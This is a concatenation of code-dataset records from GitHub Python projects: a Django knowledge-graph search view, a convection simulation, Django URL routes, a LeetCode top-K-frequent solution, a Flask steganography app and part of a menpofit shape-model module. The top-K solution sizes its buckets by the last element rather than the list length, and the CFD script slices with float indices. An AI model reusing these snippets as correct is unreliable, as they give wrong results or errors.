Type_tool(nodes,link,map):\n typeNode = []\n Links=[]\n id_help={}\n typemap={}\n # temp = {\"name\": str(key_word), \"category\": 0, \"id\": 0}\n # typeNode.append(temp)\n for row in nodes:\n if re.findall('Wikicat', row[1]) == [] and re.findall('Yago', row[1]) == []:\n new_crazy = filter(str.isalpha, row[1])\n temp = {\"name\": ''.join(list(new_crazy)), \"category\": 1, \"id\": row[0]}\n typeNode.append(temp)\n id_help[row[1]]=row[0]\n else:\n break\n for i in link:\n temp = {\"source\":i[0], \"target\": i[1], \"category\": 0, \"symbolSize\": 10}\n Links.append(temp)\n for i in map:\n s=\"\"\n for j in i:\n if j!=i[0]:\n s=s+j+\"
\"\n\n typemap[id_help[i[0]]]=s\n return typeNode,Links,typemap\n\ndef NodeToLink(nodes,s):\n num=len(nodes)\n Links=[]\n for i in range(num):\n temp = {\"source\":0, \"target\": i+1, \"category\": 0, \"value\": s, \"symbolSize\": 10}\n Links.append(temp)\n return Links\n\ndef explore_graph(oldNodes,oldLinks,newNodes,newLinks,key_word_id):\n entityNodes=[]\n entityLines=[]\n level0=[]\n idmap=[]\n for node in oldNodes:\n if node[\"category\"]==0:\n entityNodes.append(node)\n level0.append(node[\"name\"])\n else:\n break\n baseNum=len(level0)\n for i in range(baseNum-1):\n entityLines.append(oldLinks[i])\n\n for link in oldLinks:\n if link[\"source\"]==baseNum-1 and link[\"target\"]==key_word_id:\n link[\"target\"]=baseNum\n entityLines.append(link)\n break\n\n for node in newNodes:\n # print(node)\n if node[\"name\"] in level0:\n node_id=node[\"id\"]\n newNodes.pop(node_id)\n for index,link in enumerate(newLinks):\n if link[\"source\"]==node_id or link[\"target\"]==node_id:\n newLinks.pop(index)\n\n num=0\n for node in newNodes:\n # print(node)\n idmap.append(node[\"id\"])\n\n node[\"id\"]=baseNum+num\n num+=1\n entityNodes.append(node)\n\n for link in newLinks:\n # print(link)\n link[\"source\"]=baseNum+idmap.index(link[\"source\"])\n link[\"target\"]=baseNum+idmap.index(link[\"target\"])\n entityLines.append(link)\n return entityNodes,entityLines\n\n\n\ndef query_name(request):\n data = json.loads(request.body.decode('utf-8'))\n try:\n key_words = data['inputstr']\n print(data['inputstr'])\n data = []\n if key_words:\n s = NasdaqGraph.search(index=\"suggestion\")\n s = s.suggest('my_suggest', key_words,\n completion={\n \"field\": \"namesuggest\", \"fuzzy\": {\n \"fuzziness\": 2\n },\n \"size\": 8\n })\n suggestions = s.execute_suggest()\n id = 1\n for match in suggestions.my_suggest[0].options:\n temp = {}\n source = match._source\n temp[\"id\"] = id\n temp['value'] = source[\"name\"]\n id = id + 1\n data.append(temp)\n # 返回\n return JsonResponse({'code': 1, 'data': data})\n except Exception as e:\n # 如果出现异常,返回\n return JsonResponse({'code': 0, 'msg': \"查询学生信息出现异常,具体错误:\" + str(e)})\n\n\ndef get_Graph(request):\n data = json.loads(request.body.decode('utf-8'))\n try:\n old_key_words=\"\"\n key_words = data['inputstr']\n depth = data['depth']\n oldNodes=data['oldNodes']\n oldLinks = data['oldLinks']\n key_word_id = data['keywordid']\n explore =data['explore']\n data = []\n if key_words:\n response = client.search(\n index=\"reindex\",\n doc_type=\"GraphType\",\n body={\n \"query\": {\n \"match\": {\n \"name\": key_words\n }\n },\n \"size\": 1,\n \"_source\": [\"name\", \"imgUrl\", \"abstract\", \"node\", \"link\",\"typeNode\",\"typemap\",\"typeLink\"]\n }\n )\n hit = response[\"hits\"][\"hits\"][0][\"_source\"]\n name = hit[\"name\"]\n imgUrl = hit[\"imgUrl\"]\n abstract = hit[\"abstract\"]\n nodes = hit[\"node\"]\n links = hit[\"link\"]\n typeNodes = hit[\"typeNode\"]\n typeLinks = hit[\"typeLink\"]\n typemaps = hit[\"typemap\"]\n entityNodes,idmap = node_depth(depth, nodes)\n entityLink, porpertyNode = link_depth(depth, links,idmap,key_words)\n porpertyLink=NodeToLink(porpertyNode,\"porperty\")\n typeNode,typeLink,typemap = Type_tool(typeNodes,typeLinks,typemaps)\n if explore:\n entityNodes, entityLink = explore_graph(oldNodes, oldLinks, entityNodes, entityLink, key_word_id)\n if old_key_words!=key_words:\n entityNews=getEntityNews(key_words)\n old_key_words = key_words\n\n data.append(name)\n data.append(imgUrl)\n data.append(abstract)\n data.append(entityNodes)\n data.append(entityLink)\n data.append(porpertyNode)\n data.append(porpertyLink)\n data.append(typeNode)\n data.append(typeLink)\n data.append(typemap)\n data.append(entityNews)\n\n return JsonResponse({'code': 1, 'data': data})\n except Exception as e:\n # 如果出现异常,返回\n print(str(e))\n return JsonResponse({'code': 0, 'msg': \"查询信息出现异常,具体错误:\" + str(e)})\n\n\ndef getnewstop(request):\n try:\n datas = []\n tops = []\n img = []\n f = open(r\"/home/vv/ww/project/python/IE2-BE/apps/nasdaq/news_top.txt\", \"r\", encoding=\"utf-8\")\n for i in range(12):\n new = f.readline()\n new = new.split(\";\")\n tops.append(new)\n for i in range(3):\n img.append(f.readline())\n f.close()\n datas.append(tops)\n print(tops)\n datas.append(img)\n return JsonResponse({'code': 1, 'data': datas})\n except Exception as e:\n # 如果出现异常,返回\n print(str(e))\n return JsonResponse({'code': 0, 'msg': \"top出现异常,具体错误:\" + str(e)})\n","repo_name":"ww-1009/IE2-BE","sub_path":"apps/nasdaq/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24586598836","text":"#!/usr/bin/python\n\n\nfrom mpl_toolkits.mplot3d import Axes3D\nimport seaborn as sn\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib import cm\n\nfrom solver.solver import Solver, MultiSolver\n\n\ndef profile(solver):\n u = np.ones(solver.nx)\n v = np.ones(solver.nx)\n dx, dy = solver.dx\n # set hat function I.C. : u(.5<=x<=1 && .5<=y<=1 ) is 2\n u[.5 / dy:1 / dy + 1, .5 / dx:1 / dx + 1] = 2\n # set hat function I.C. : u(.5<=x<=1 && .5<=y<=1 ) is 2\n v[.5 / dy:1 / dy + 1, .5 / dx:1 / dx + 1] = 2\n return u, v\n\n# 2D convection\n\n\ndef convection(m, dr, dt):\n u, v = m\n vn = v.copy()\n un = u.copy()\n dx, dy = dr\n c = 1.\n dt = 0.2 * dx\n\n u[1:, 1:] = un[1:, 1:] - \\\n (un[1:, 1:] * c * dt / dx * (un[1:, 1:] - un[1:, :-1])\n ) - vn[1:, 1:] * c * dt / dy * (un[1:, 1:] - un[:-1, 1:])\n v[1:, 1:] = vn[1:, 1:] - \\\n (un[1:, 1:] * c * dt / dx * (vn[1:, 1:] - vn[1:, :-1])\n ) - vn[1:, 1:] * c * dt / dy * (vn[1:, 1:] - vn[:-1, 1:])\n\n u[0, :] = 1\n u[-1, :] = 1\n u[:, 0] = 1\n u[:, -1] = 1\n\n v[0, :] = 1\n v[-1, :] = 1\n v[:, 0] = 1\n v[:, -1] = 1\n\n return u, v\n\n\ndef main():\n msolver = MultiSolver(\n (Solver((0, 2.), 101), Solver((0, 2.), 101)), 81, 0.1)\n msolver.initial_conditions = lambda x = None: profile(msolver)\n\n uinit, vinit = msolver.initial_conditions(msolver.argument())\n u, v = msolver.solve(convection)\n # printu\n\n # Plot Initial Condition\n # the figsize parameter can be used to produce different sized images\n fig = plt.figure(figsize=(11, 7), dpi=100)\n ax = fig.gca(projection='3d')\n X, Y = np.meshgrid(*msolver.argument())\n\n res = u.copy()\n res[uinit > 1.] = uinit[uinit > 1.]\n ax.plot_surface(X, Y, res, cmap=cm.coolwarm)\n # surf = ax.plot_surface(X,Y, uinit, cmap=cm.coolwarm)\n # surf = ax.plot_surface(X,Y, 2. - v, cmap=cm.coolwarm);\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"kqf/differential-equatoins","sub_path":"examples/cfd/step6.py","file_name":"step6.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26433655061","text":"\"\"\"ImageStyleChange URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom userApp import views as uv\nfrom imgsApp import views as iv\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('hello/', uv.hello),\n path('',uv.index),\n path('register', uv.register),\n path('login',uv.login),\n path('getById',uv.getById),\n path('update',uv.update),\n path('upload',iv.upload),\n path('download',iv.download),\n path('original',iv.original),\n path('sketch',iv.sketch),\n path('LineDraft',iv.LineDraft),\n path('cartoon',iv.cartoon),\n path('gray',iv.gray),\n path('xFlip',iv.xFlip),\n path('yFlip',iv.yFlip),\n path('centre',iv.centre),\n path('strimg',iv.strimg),\n path('strimgColor',iv.strimgColor),\n path('emboss',iv.emboss),\n path('dipian',iv.dipian),\n path('transfer',iv.transfer),\n]\n","repo_name":"byfanx/ImageStyleChange","sub_path":"ImageStyleChange/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12854873999","text":"class Solution(object):\n def topKFrequent(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: List[int]\n \"\"\"\n dic = {}\n for n in nums:\n if n in dic:\n dic[n] += 1\n else:\n dic[n] = 1\n\n frequent = [[] for x in range(n + 1)]\n\n for key in dic:\n frequent[dic[key]].append(key)\n\n res = []\n for p in range(n, 0, -1):\n res.extend(frequent[p])\n\n return res[:k]\n","repo_name":"mengyangbai/leetcode","sub_path":"practise/topKfrequent.py","file_name":"topKfrequent.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72813760834","text":"import os\n\nfrom flask import Flask, render_template, request\n\n#from ocr import ocr_core\n\nfrom stegno import *\n\nUPLOAD_FOLDER = '/static/uploads/'\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\n\napp = Flask(__name__)\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\n@app.route('/')\ndef home_page():\n return render_template('index.html')\n\n\n@app.route('/steg_en', methods=['POST','GET'])\ndef stag_encode():\n if request.method =='POST': \n text = request.form['paragraph_text']\n imag = request.files['image']\n extracted_text = encode(imag,text)\n return render_template('upload.html',\n msg='Successfully processed')\n elif request.method =='GET':\n return render_template('upload.html')\n\n\n@app.route('/steg_dec', methods=['GET','POST'])\ndef stag_decode():\n if request.method == 'POST':\n imag = request.files['image']\n # # check if the post request has the file part\n # if 'file' not in request.files:\n # return render_template('upload.html', msg='No file selected')\n # file = request.form['image']\n # # if user does not select file, browser also\n # # submit a empty part without filename\n # if file.filename == '':\n # return render_template('upload.html', msg='No file selected')\n\n # if file and allowed_file(file.filename):\n # file.save(os.path.join(os.getcwd() + UPLOAD_FOLDER, file.filename))\n\n # # call the OCR function on it\n extracted_text = decode(imag)\n\n # extract the text and display it\n return render_template('ans.html',\n extracted_text=extracted_text)\n #elif request.method == 'GET':\n return render_template('upload_dec.html')\n\n\nif __name__ == '__main__':\n app.run(debug = True)","repo_name":"eaniket/rackathon","sub_path":"mark1/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40872639061","text":"import numpy as np\n\nfrom menpo.base import Targetable, Vectorizable\nfrom menpo.model import MeanLinearModel, PCAModel\nfrom menpo.model.vectorizable import VectorizableBackedModel\nfrom menpo.shape import mean_pointcloud\n\nfrom menpofit.builder import align_shapes\nfrom menpofit.differentiable import DP\n\n\nclass _SimilarityModel(VectorizableBackedModel, MeanLinearModel):\n\n def __init__(self, components, mean):\n MeanLinearModel.__init__(self, components, mean.as_vector())\n VectorizableBackedModel.__init__(self, mean)\n\n def project_vector(self, instance_vector, project_weight=None):\n return MeanLinearModel.project(self, instance_vector)\n\n def reconstruct_vector(self, instance_vector):\n return MeanLinearModel.reconstruct(self, instance_vector)\n\n def instance_vector(self, weights):\n return MeanLinearModel.instance(self, weights)\n\n def component_vector(self, index):\n return MeanLinearModel.component(self, index)\n\n def project_out_vector(self, instance_vector):\n return MeanLinearModel.project_out(self, instance_vector)\n\n def __str__(self):\n str_out = 'Similarity Transform Model \\n' \\\n ' - # features: {}\\n' \\\n ' - total # components: {}\\n' \\\n ' - components shape: {}\\n'.format(\n self.n_features, self.n_components, self.components.shape)\n return str_out\n\n\ndef similarity_2d_instance_model(shape):\n r\"\"\"\n Creates a `menpo.model.MeanLinearModel` that encodes the 2D similarity\n transforms that can be applied on a 2D shape that consists of `n_points`.\n\n Parameters\n ----------\n shape : `menpo.shape.PointCloud`\n The input 2D shape.\n\n Returns\n -------\n model : `subclass` of `menpo.model.MeanLinearModel`\n Linear model with four components, the linear combinations of which\n represent the original shape under a similarity transform. The model is\n exhaustive (that is, all possible similarity transforms can be expressed\n with the model).\n \"\"\"\n shape_vector = shape.as_vector()\n components = np.zeros((4, shape_vector.shape[0]))\n components[0, :] = shape_vector # Comp. 1 - just the shape\n rotated_ccw = shape.points[:, ::-1].copy() # flip x,y -> y,x\n rotated_ccw[:, 0] = -rotated_ccw[:, 0] # negate (old) y\n components[1, :] = rotated_ccw.flatten() # C2 - the shape rotated 90 degs\n components[2, ::2] = 1 # Tx\n components[3, 1::2] = 1 # Ty\n return _SimilarityModel(components, shape)\n\n\nclass ModelInstance(Targetable, Vectorizable, DP):\n r\"\"\"\n Base class for creating a model that can produce a target\n `menpo.shape.PointCloud` and knows how to compute its own derivative with\n respect to its parametrisation.\n\n Parameters\n ----------\n model : `class`\n The trained model (e.g. `menpo.model.PCAModel`).\n \"\"\"\n def __init__(self, model):\n self.model = model\n self._target = None\n # set all weights to 0 (yielding the mean, first call to\n # from_vector_inplace() or set_target() will update this)\n self._weights = np.zeros(self.model.n_active_components)\n\n @property\n def n_weights(self):\n r\"\"\"\n The number of parameters in the linear model.\n\n :type: `int`\n \"\"\"\n return self.model.n_active_components\n\n @property\n def weights(self):\n r\"\"\"\n The weights of the model.\n\n :type: ``(n_weights,)`` `ndarray`\n \"\"\"\n return self._weights\n\n @property\n def target(self):\n r\"\"\"\n The current `menpo.shape.PointCloud` that this object produces.\n\n :type: `menpo.shape.PointCloud`\n \"\"\"\n return self._target\n\n def _target_setter(self, new_target):\n r\"\"\"\n Called by the Targetable framework when set_target() is called.\n This method **ONLY SETS THE NEW TARGET** it does no synchronisation\n logic (for that, see _sync_state_from_target())\n \"\"\"\n self._target = new_target\n\n def _new_target_from_state(self):\n r\"\"\"\n Return the appropriate target for the parameters provided.\n Subclasses can override this.\n\n Returns\n -------\n new_target : model instance\n \"\"\"\n return self.model.instance(self.weights)\n\n def _sync_state_from_target(self):\n # 1. Find the optimum parameters and set them\n self._weights = self._weights_for_target(self.target)\n # 2. Find the closest target the model can reproduce and trigger an\n # update of our transform\n self._target_setter(self._new_target_from_state())\n\n def _weights_for_target(self, target):\n r\"\"\"\n Return the appropriate model weights for target provided.\n Subclasses can override this.\n\n Parameters\n ----------\n\n target: model instance\n The target that the statistical model will try to reproduce\n\n Returns\n -------\n\n weights: (P,) ndarray\n Weights of the statistical model that generate the closest\n instance to the requested target\n \"\"\"\n return self.model.project(target)\n\n def _as_vector(self):\n r\"\"\"\n Return the current parameters of this transform - this is the\n just the linear model's weights\n\n Returns\n -------\n params : (`n_parameters`,) ndarray\n The vector of parameters\n \"\"\"\n return self.weights\n\n def _from_vector_inplace(self, vector):\n r\"\"\"\n Updates this `menpofit.modelinstance.ModelInstance` from it's\n vectorized form (in this case, simply the weights on the linear model)\n \"\"\"\n self._weights = vector\n self._sync_target_from_state()\n\n\nclass GlobalSimilarityModel(Targetable, Vectorizable):\n r\"\"\"\n Class for creating a model that represents a global similarity transform\n (in-plane rotation, scaling, translation).\n\n Parameters\n ----------\n data : `list` of `menpo.shape.PointCloud`\n The `list` of shapes to use as training data.\n \"\"\"\n def __init__(self, data, **kwargs):\n from menpofit.transform import DifferentiableAlignmentSimilarity\n\n aligned_shapes = align_shapes(data)\n self.mean = mean_pointcloud(aligned_shapes)\n # Default target is the mean\n self._target = self.mean\n self.transform = DifferentiableAlignmentSimilarity(self.target,\n self.target)\n\n @property\n def n_weights(self):\n r\"\"\"\n The number of parameters in the linear model.\n\n :type: `int`\n \"\"\"\n return 4\n\n @property\n def weights(self):\n r\"\"\"\n The weights of the model.\n\n :type: ``(n_weights,)`` `ndarray`\n \"\"\"\n return self.transform.as_vector()\n\n @property\n def target(self):\n r\"\"\"\n The current `menpo.shape.PointCloud` that this object produces.\n\n :type: `menpo.shape.PointCloud`\n \"\"\"\n return self._target\n\n def set_target(self, new_target):\n r\"\"\"\n Update this object so that it attempts to recreate the ``new_target``.\n\n Parameters\n ----------\n new_target : `menpo.shape.PointCloud`\n The new target that this object should try and regenerate.\n \"\"\"\n self.transform.set_target(new_target)\n self._target = self.transform.apply(self.mean)\n return self\n\n def _as_vector(self):\n r\"\"\"\n Return the current parameters of this transform - this is the\n just the linear model's weights\n\n Returns\n -------\n params : (`n_parameters`,) ndarray\n The vector of parameters\n \"\"\"\n return self.transform.as_vector()\n\n def _from_vector_inplace(self, vector):\n self.transform._from_vector_inplace(vector)\n self._target = self.transform.apply(self.mean)\n\n @property\n def n_dims(self):\n r\"\"\"\n The number of dimensions of the spatial instance of the model.\n\n :type: `int`\n \"\"\"\n return self.mean.n_dims\n\n def d_dp(self, _):\n r\"\"\"\n Returns the Jacobian of the similarity model reshaped in order to have\n the standard Jacobian shape, i.e. ``(n_points, n_weights, n_dims)``\n which maps to ``(n_features, n_components, n_dims)`` on the linear model.\n\n Returns\n -------\n jacobian : ``(n_features, n_components, n_dims)`` `ndarray`\n The Jacobian of the model in the standard Jacobian shape.\n \"\"\"\n # Always evaluated at the mean shape\n return self.transform.d_dp(self.mean.points)\n\n\nclass PDM(ModelInstance):\n r\"\"\"\n Class for building a Point Distribution Model. It is a specialised version\n of :map:`ModelInstance` for use with spatial data.\n\n Parameters\n ----------\n data : `list` of `menpo.shape.PointCloud` or `menpo.model.PCAModel` instance\n If a `list` of `menpo.shape.PointCloud`, then a `menpo.model.PCAModel`\n will be trained from those training shapes. Otherwise, a trained\n `menpo.model.PCAModel` instance can be provided.\n max_n_components : `int` or ``None``, optional\n The maximum number of components that the model will keep. If ``None``,\n then all the components will be kept.\n \"\"\"\n def __init__(self, data, max_n_components=None):\n if isinstance(data, PCAModel):\n shape_model = data\n else:\n aligned_shapes = align_shapes(data)\n shape_model = PCAModel(aligned_shapes)\n\n if max_n_components is not None:\n shape_model.trim_components(max_n_components)\n super(PDM, self).__init__(shape_model)\n # Default target is the mean\n self._target = self.model.mean()\n\n @property\n def n_active_components(self):\n r\"\"\"\n The number of components currently in use on this model.\n\n :type: `int`\n \"\"\"\n return self.model.n_active_components\n\n @n_active_components.setter\n def n_active_components(self, value):\n r\"\"\"\n Sets an updated number of active components on this model. The number\n of active components represents the number of principal components\n that will be used for generative purposes. Note that this therefore\n makes the model stateful. Also note that setting the number of\n components will not affect memory unless `trim_components` is called.\n\n Parameters\n ----------\n value : `int`\n The new number of active components.\n\n Raises\n ------\n ValueError\n Tried setting n_active_components to {value} - value needs to be a\n float 0.0 < n_components < self._total_kept_variance_ratio ({}) or\n an integer 1 < n_components < self.n_components ({})\n \"\"\"\n self.model.n_active_components = value\n self._sync_state_from_target()\n\n @property\n def n_dims(self):\n r\"\"\"\n The number of dimensions of the spatial instance of the model\n\n :type: `int`\n \"\"\"\n return self.model.template_instance.n_dims\n\n def d_dp(self, points):\n r\"\"\"\n Returns the Jacobian of the similarity model reshaped in order to have\n the standard Jacobian shape, i.e. ``(n_points, n_weights, n_dims)``\n which maps to ``(n_features, n_components, n_dims)`` on the linear model.\n\n Returns\n -------\n jacobian : ``(n_features, n_components, n_dims)`` `ndarray`\n The Jacobian of the model in the standard Jacobian shape.\n \"\"\"\n d_dp = self.model.components.reshape(self.model.n_active_components,\n -1, self.n_dims)\n return d_dp.swapaxes(0, 1)\n\n def increment(self, shapes, n_shapes=None, forgetting_factor=1.0,\n max_n_components=None, verbose=False):\n r\"\"\"\n Update the eigenvectors, eigenvalues and mean vector of this model\n by performing incremental PCA on the given samples.\n\n Parameters\n ----------\n shapes : `list` of `menpo.shape.PointCloud`\n List of new shapes to update the model from.\n n_shapes : `int` or ``None``, optional\n If `int`, then `shapes` must be an iterator that yields `n_shapes`.\n If ``None``, then `shapes` has to be a list (so we know how large\n the data matrix needs to be).\n forgetting_factor : ``[0.0, 1.0]`` `float`, optional\n Forgetting factor that weights the relative contribution of new\n samples vs old samples. If 1.0, all samples are weighted equally\n and, hence, the results is the exact same as performing batch\n PCA on the concatenated list of old and new simples. If <1.0,\n more emphasis is put on the new samples. See [1] for details.\n max_n_components : `int` or ``None``, optional\n The maximum number of components that the model will keep.\n If ``None``, then all the components will be kept.\n verbose : `bool`, optional\n If ``True``, then information about the progress will be printed.\n\n References\n ----------\n .. [1] D. Ross, J. Lim, R.S. Lin, M.H. Yang. \"Incremental Learning for\n Robust Visual Tracking\". International Journal on Computer Vision,\n 2007.\n \"\"\"\n old_target = self.target\n aligned_shapes = align_shapes(shapes)\n self.model.increment(aligned_shapes, n_samples=n_shapes,\n forgetting_factor=forgetting_factor,\n verbose=verbose)\n if max_n_components is not None:\n self.model.trim_components(max_n_components)\n # Reset the target given the new model\n self.set_target(old_target)\n\n def __str__(self):\n str_out = 'Point Distribution Model \\n' \\\n ' - centred: {}\\n' \\\n ' - # features: {}\\n' \\\n ' - # active components: {}\\n' \\\n ' - kept variance: {:.2} {:.1%}\\n' \\\n ' - noise variance: {:.2} {:.1%}\\n' \\\n ' - total # components: {}\\n' \\\n ' - components shape: {}\\n'.format(\n self.model.centred, self.model.n_features, self.n_active_components,\n self.model.variance(), self.model.variance_ratio(),\n self.model.noise_variance(), self.model.noise_variance_ratio(),\n self.model.n_components, self.model.components.shape)\n return str_out\n\n\nclass GlobalPDM(PDM):\n r\"\"\"\n Class for building a Point Distribution Model that also stores a Global\n Alignment transform. The final transform couples the Global Alignment\n transform to a statistical linear model, so that its weights are fully\n specified by both the weights of statistical model and the weights of the\n similarity transform.\n\n Parameters\n ----------\n data : `list` of `menpo.shape.PointCloud` or `menpo.model.PCAModel` instance\n If a `list` of `menpo.shape.PointCloud`, then a `menpo.model.PCAModel`\n will be trained from those training shapes. Otherwise, a trained\n `menpo.model.PCAModel` instance can be provided.\n global_transform_cls : `class`\n The Global Similarity transform class\n (e.g. :map:`DifferentiableAlignmentSimilarity`).\n max_n_components : `int` or ``None``, optional\n The maximum number of components that the model will keep. If ``None``,\n then all the components will be kept.\n \"\"\"\n def __init__(self, data, global_transform_cls, max_n_components=None):\n super(GlobalPDM, self).__init__(data, max_n_components=max_n_components)\n # Start the global_transform as an identity (first call to\n # from_vector_inplace() or set_target() will update this)\n mean = self.model.mean()\n self.global_transform = global_transform_cls(mean, mean)\n\n @property\n def n_global_parameters(self):\n r\"\"\"\n The number of parameters in the `global_transform`\n\n :type: `int`\n \"\"\"\n return self.global_transform.n_parameters\n\n @property\n def global_parameters(self):\n r\"\"\"\n The parameters for the global transform.\n\n :type: ``(n_global_parameters,) `ndarray`\n \"\"\"\n return self.global_transform.as_vector()\n\n def _new_target_from_state(self):\n r\"\"\"\n Return the appropriate target for the model weights provided,\n accounting for the effect of the global transform\n\n Returns\n -------\n new_target : `menpo.shape.PointCloud`\n A new target for the weights provided\n \"\"\"\n return self.global_transform.apply(self.model.instance(self.weights))\n\n def _weights_for_target(self, target):\n r\"\"\"\n Return the appropriate model weights for target provided, accounting\n for the effect of the global transform. Note that this method\n updates the global transform to be in the correct state.\n\n Parameters\n ----------\n target : `menpo.shape.PointCloud`\n The target that the statistical model will try to reproduce\n\n Returns\n -------\n weights : ``(P,)`` `ndarray`\n Weights of the statistical model that generate the closest\n PointCloud to the requested target\n \"\"\"\n self._update_global_transform(target)\n projected_target = self.global_transform.pseudoinverse().apply(target)\n # now we have the target in model space, project it to recover the\n # weights\n try:\n new_weights = self.model.project(projected_target, target.project_weight)\n except AttributeError:\n new_weights = self.model.project(projected_target)\n # TODO investigate the impact of this, could be problematic\n # the model can't perfectly reproduce the target we asked for -\n # reset the global_transform.target to what it CAN produce\n #refined_target = self._target_for_weights(new_weights)\n #self.global_transform.target = refined_target\n return new_weights\n\n def _update_global_transform(self, target):\n self.global_transform.set_target(target)\n\n def _as_vector(self):\n r\"\"\"\n Return the current parameters of this transform - this is the\n just the linear model's weights\n\n Returns\n -------\n params : ``(n_parameters,)`` `ndarray`\n The vector of parameters\n \"\"\"\n return np.hstack([self.global_parameters, self.weights])\n\n def _from_vector_inplace(self, vector):\n # First, update the global transform\n global_parameters = vector[:self.n_global_parameters]\n self._update_global_weights(global_parameters)\n # Now extract the weights, and let super handle the update\n weights = vector[self.n_global_parameters:]\n PDM._from_vector_inplace(self, weights)\n\n def _update_global_weights(self, global_weights):\n r\"\"\"\n Hook that allows for overriding behavior when the global weights are\n set. Default implementation simply asks global_transform to\n update itself from vector.\n \"\"\"\n self.global_transform._from_vector_inplace(global_weights)\n\n def d_dp(self, points):\n r\"\"\"\n The derivative with respect to the parametrisation changes evaluated at\n points.\n\n Parameters\n ----------\n points : ``(n_points, n_dims)`` `ndarray`\n The spatial points at which the derivative should be evaluated.\n\n Returns\n -------\n d_dp : ``(n_points, n_parameters, n_dims)`` `ndarray`\n The Jacobian with respect to the parametrisation.\n \"\"\"\n # d_dp is always evaluated at the mean shape\n if points is None:\n points = self.model.mean().points\n\n # compute dX/dp\n\n # dX/dq is the Jacobian of the global transform evaluated at the\n # current target\n # (n_points, n_global_params, n_dims)\n dX_dq = self._global_transform_d_dp(points)\n\n # by application of the chain rule dX/db is the Jacobian of the\n # model transformed by the linear component of the global transform\n # (n_points, n_weights, n_dims)\n dS_db = PDM.d_dp(self, [])\n # (n_points, n_dims, n_dims)\n dX_dS = self.global_transform.d_dx(points)\n # (n_points, n_weights, n_dims)\n dX_db = np.einsum('ilj, idj -> idj', dX_dS, dS_db)\n\n # dX/dp is simply the concatenation of the previous two terms\n # (n_points, n_params, n_dims)\n return np.hstack((dX_dq, dX_db))\n\n def _global_transform_d_dp(self, points):\n return self.global_transform.d_dp(points)\n\n\nclass OrthoPDM(GlobalPDM):\n r\"\"\"\n Class for building a Point Distribution Model that also stores a Global\n Alignment transform. The final transform couples the Global Alignment\n transform to a statistical linear model, so that its weights are fully\n specified by both the weights of statistical model and the weights of the\n similarity transform.\n\n This transform (in contrast to the :map`GlobalPDM`) additionally\n orthonormalises both the global and the model basis against each other,\n ensuring that orthogonality and normalization is enforced across the unified\n bases.\n\n Parameters\n ----------\n data : `list` of `menpo.shape.PointCloud` or `menpo.model.PCAModel` instance\n If a `list` of `menpo.shape.PointCloud`, then a `menpo.model.PCAModel`\n will be trained from those training shapes. Otherwise, a trained\n `menpo.model.PCAModel` instance can be provided.\n max_n_components : `int` or ``None``, optional\n The maximum number of components that the model will keep. If ``None``,\n then all the components will be kept.\n \"\"\"\n def __init__(self, data, max_n_components=None):\n from menpofit.transform import DifferentiableAlignmentSimilarity\n super(OrthoPDM, self).__init__(\n data, DifferentiableAlignmentSimilarity,\n max_n_components=max_n_components)\n self._construct_similarity_model()\n # Set target from state (after orthonormalizing)\n self._sync_target_from_state()\n\n def _construct_similarity_model(self):\n # 1. Construct similarity model from the mean of the model\n model_mean = self.model.mean()\n self.similarity_model = similarity_2d_instance_model(model_mean)\n # 2. Orthonormalize model and similarity model\n self.model.orthonormalize_against_inplace(self.similarity_model)\n # The number of components may have changed. So re-create the weights\n # from the new number of active components\n self._weights = np.zeros(self.model.n_active_components)\n self.similarity_weights = self.similarity_model.project(model_mean)\n\n @property\n def global_parameters(self):\n r\"\"\"\n The parameters for the global transform.\n\n :type: ``(n_global_parameters,)`` `ndarray`\n \"\"\"\n return self.similarity_weights\n\n def _update_global_transform(self, target):\n try:\n self.similarity_weights = self.similarity_model.project(target, target.project_weight) # , target.project_weight\n except AttributeError:\n self.similarity_weights = self.similarity_model.project(target)\n self._update_global_weights(self.similarity_weights)\n\n def _update_global_weights(self, global_weights):\n self.similarity_weights = global_weights\n new_target = self.similarity_model.instance(global_weights)\n self.global_transform.set_target(new_target)\n\n def _global_transform_d_dp(self, points):\n return self.similarity_model.components.reshape(\n self.n_global_parameters, -1, self.n_dims).swapaxes(0, 1)\n\n def increment(self, shapes, n_shapes=None, forgetting_factor=1.0,\n max_n_components=None, verbose=False):\n r\"\"\"\n Update the eigenvectors, eigenvalues and mean vector of this model\n by performing incremental PCA on the given samples.\n\n Parameters\n ----------\n shapes : `list` of `menpo.shape.PointCloud`\n List of new shapes to update the model from.\n n_shapes : `int` or ``None``, optional\n If `int`, then `shapes` must be an iterator that yields `n_shapes`.\n If ``None``, then `shapes` has to be a list (so we know how large\n the data matrix needs to be).\n forgetting_factor : ``[0.0, 1.0]`` `float`, optional\n Forgetting factor that weights the relative contribution of new\n samples vs old samples. If 1.0, all samples are weighted equally\n and, hence, the results is the exact same as performing batch\n PCA on the concatenated list of old and new simples. If <1.0,\n more emphasis is put 